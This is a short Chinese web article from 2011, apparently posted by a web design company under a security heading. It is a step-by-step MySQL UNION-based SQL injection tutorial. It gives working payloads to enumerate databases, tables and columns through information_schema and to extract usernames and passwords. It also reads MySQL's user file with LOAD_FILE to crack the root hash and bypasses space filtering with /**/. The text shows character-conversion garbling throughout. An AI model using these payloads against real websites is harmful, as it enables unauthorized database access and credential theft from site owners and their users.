網(wǎng)站制作安全之mysql注入技巧

來源：昆明多彩網(wǎng)絡(luò)公司 日期：2011-09-19 閱讀： 發(fā)表評論

 mysql注入大致流程：

1、得到注入點(diǎn)，在頁面參數(shù)后面加'或者and 1=1和and 1=2測試，如果程序報(bào)錯(cuò)或者有一些異常情況（比如執(zhí)行結(jié)果不同）發(fā)生則表明該頁面有漏洞存在。

2、在參數(shù)后面加入 order by 10，10，如果沒有什么反應(yīng)則將后面的10繼續(xù)增加，如果報(bào)錯(cuò)就說明字段數(shù)少于該數(shù)。

3、暴數(shù)據(jù)庫名，假設(shè)當(dāng)前被注入表的字段數(shù)有3個(gè)，通過下面兩種方式得到

   3.1 union select database(),user(),version()

  3.1 在后面加入 union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA limit 2,1，將得到數(shù)據(jù)庫名稱，第一個(gè)數(shù)據(jù)庫為information_schema

4、暴表名，and 1=2 union select 1,table_name,3 from (select * from information_schema.tables where table_schema=0x6861636B)t limit 0,1    0x6861636B為數(shù)據(jù)庫名稱轉(zhuǎn)成了16進(jìn)制，用小葵花工具轉(zhuǎn)換得到，通過上一步可以得到，注意limit前面的t不能省略。

5、暴字段名 and 1=2 union select 1,2,column_name from (select * from information_schema.columns where table_name=0x61646D696E and table_schema=0x6861636B)t limit 0,1；0x61646D696E為表名，table_schema為字段名。

6、union select 1,"字段1","字段2" from "表名" limit 0,1，就可以得到帳戶和密碼了。

7、其他：得到root的密碼通過LOAD_FILE(’C:\..\MYSQL\DATA\MYSQL\USER.MYD’)得到用戶的HASH散列,之后用CAIN爆破…如果程序過濾了空格，可以使用/**/相當(dāng)于空格作用